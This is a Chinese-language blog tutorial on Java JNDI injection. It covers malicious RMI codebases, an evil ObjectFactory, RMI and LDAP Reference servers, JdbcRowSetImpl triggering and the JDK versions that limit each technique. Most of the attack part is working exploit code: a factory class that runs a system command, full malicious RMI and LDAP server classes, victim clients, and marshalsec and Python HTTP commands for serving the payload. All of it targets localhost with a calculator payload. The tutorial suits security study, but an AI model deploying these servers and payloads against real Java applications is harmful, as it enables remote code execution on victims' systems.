文章目录
版本限制
恶意RMI Remote类(应用受限)
原理
codebase是一个URL、引导JVM查找类的地址
Client在lookup加载过程中会先在本地寻找Stub类,如果没有找到就向codebase远程加载Stub类。
若设置codebase为http://foo.com
,加载com.test.Test
类时便会下载http://foo.com/com/test/Test.class
那么只要控制Server端的codebase(修改Client端的codebase地址),就能给Client完成注入。
注入步骤
- 攻击者将恶意Remote对象绑定到Server端的Registry
- Remote类放在服务器上,然后设置Server端的codebase地址(java.rmi.server.codebase属性)
- Client在lookup时找不到该类就会向远程codebase加载恶意Remote对象
限制
官方基于此攻击手法设置了防御手段,必须满足以下条件才能完成攻击:
- java.rmi.server.useCodebaseOnly为false
从5u45、6u45、7u21、8u121开始,java.rmi.server.useCodebaseOnly的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。
这种方法用途不是很广
恶意ObjectFactory工厂类
JNDI通过对象工厂(ObjectFactory)来实现动态加载对象
在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。
绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。
创建对象工厂需要实现ObjectFactory接口的getObjectInstance方法,在这个方法中插入恶意代码即可
package JNDIInjection.evilObjectFactory;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class EvilObjectFactory implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("done");
Runtime.getRuntime().exec("calc");
return null;
}
}
RMI + Reference
原理
给RMIServer绑定Reference对象,当RMIClient获取这个对象发现是Reference类型时、若允许远程加载便会加载恶意对象工厂调用getObjectInstance方法
攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制
攻击者扮演Server端,受害者正常扮演Client端
代码实现
攻击者首先给RMIServer绑定恶意对象工厂,Reference需要wrapper转换成可以绑定的对象。该而对象工厂需要提前编译为class文件,在新建Reference对象时通过URL索引,这里用file协议
package JNDIInjection;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
String className = "JNDIInjection.evilObjectFactory.EvilObjectFactory";
String url = "file://C:\\xxx\\EvilObjectFactory.class";
LocateRegistry.createRegistry(1099);
Reference reference = new Reference(className, className, url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
Naming.rebind("hacked", referenceWrapper);
System.out.println("rmi://127.0.0.1/hacked is working...");
}
}
受害者是Client端,lookup即触发RCE
package JNDIInjection;
import javax.naming.InitialContext;
public class RMIClient {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
context.lookup("rmi://127.0.0.1/hacked");
}
}
marshalsec构建恶意rmi服务
把编写的恶意对象工厂的包名去掉,编译为class文件
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#EvilObjectFactoryExploit 6666
然后起一个http server在80端口,把这个恶意工厂放上去
python -m http.server 80
受害者lookup任意name都能触发
限制
JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false
- 客户端
com.sun.jndi.rmi.object.trustURLCodebase
设置为true
debug追函数
追一下lookup函数,在GenericURLContext中,来到了var3.lookup()
然后调用了var3的this.registry.lookup,这个函数与Server完成交互与反序列化操作,最后调用了decodeObject
decodeObject对绑定了Reference且信任远程codebase时:调用了NamingManager的getObjectInstance
如果Reference有工厂类,那么实例化该工厂类、调用我们重写的getObjectInstance方法
最后就来到了RCE部分(由于是本机debug可以追到这个地方)
调用链
InitialContext.lookup()
GenericURLContext.lookup()
RegistryContext.lookup()
RegistryContext.decodeObject()
NamingManager.getObjectInstance()
EvilObjectFactory.getObjectInstance()
对象工厂RCE的触发位置
NamingManager.getObjectFactoryFromReference之中对工厂实例化了
那么可以在编造恶意对象工厂时:把RCE代码插在构造方法、静态代码块,以及被调用的重写getObjectInstance之中,都可以达到RCE
JdbcRowSetImpl触发注入
Matthias Kaiser(@matthias_kaiser)发现com.sun.rowset.JdbcRowSetImpl类的execute()也可以触发JNDI注入
package JNDIInjection.RMI;
import com.sun.rowset.JdbcRowSetImpl;
public class JdbcRowSetImplRMI {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://127.0.0.1/hacked");
jdbcRowSet.execute();
}
}
JdbcRowSetImpl.execute首先调用prepare()
然后调用connect()
初次链接conn为空,然后就会执行InitialContext.lookup(),因此只要JdbcRowSet.setDataSourceName("rmi://xxx/yyy")
把数据源地址设置为恶意Server端即可
这也是fastjson的注入原理
LDAP + Reference
原理
原理与RMI协议基本一致,不受com.sun.jndi.rmi.object.trustURLCodebase
等属性的限制
LDAP服务器可以返回恶意工厂,通过以下字段指定:
entry.addAttribute("javaClassName", "a");
entry.addAttribute("javaFactory", "a");
entry.addAttribute("javaCodeBase", url);
entry.addAttribute("objectClass", "b");
maven依赖
<!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
<scope>test</scope>
</dependency>
代码实现
攻击者起一个ldap服务器然后绑定Reference对象
- 编写private static class继承InMemoryOperationInterceptor,自定义ldap操作拦截器
- 配置监听选项ldap config
- 创建ldap服务对象并开启监听
package JNDIInjection.ldap;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
public class LdapServer {
public static void main(String[] args) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("127.0.0.1"),
389,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
directoryServer.startListening();
System.out.println("ldap://127.0.0.1:389/hacked is working...");
}
private static class OperationInterceptor extends InMemoryOperationInterceptor{
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
String className = "JNDIInjection.server.EvilObjectFactory";
String url = "file://C:\\xxx\\JNDIInjection\\server\\EvilObjectFactory.class";
Entry entry = new Entry(base);
entry.addAttribute("javaClassName", className);
entry.addAttribute("javaFactory", className);
entry.addAttribute("javaCodeBase", url);
entry.addAttribute("objectClass", "javaNamingReference");
try {
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}catch (Exception e){
e.printStackTrace();
}
}
}
}
受害者lookup,URLldap://URL/xxx
,其中xxx任意均可完成注入
package JNDIInjection.ldap;
import javax.naming.Context;
import javax.naming.InitialContext;
public class LadpClient {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
context.lookup("ldap://127.0.0.1/hacked");
}
}
marshalsec构建恶意ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#EvilObjectFactoryExploit 6666
这次不用起http server了
限制
在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。
com.sun.jndi.ldap.object.trustURLCodebase
设置为true
调用链
InitialContext.lookup()
ldapURLContext.lookup()
GenericURLContext.lookup()
PartialConpositeContext.lookup()
ComponentContext.p_lookup()
LdapCtx.c_lookup()
DirectoryManager.getObjectInstance()
EvilObjectFactory.getObjectInstance()
JdbcRowSetImpl触发注入
参考
如何绕过高版本 JDK 的限制进行 JNDI 注入利用
技术专栏 | 深入理解JNDI注入与Java反序列化漏洞利用
JAVA JNDI注入(一)
java-jndi注入知识详解
完
欢迎关注我的CSDN :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/122474071
版权声明:如无特别声明,本文即为原创,转载时须注明出处及本声明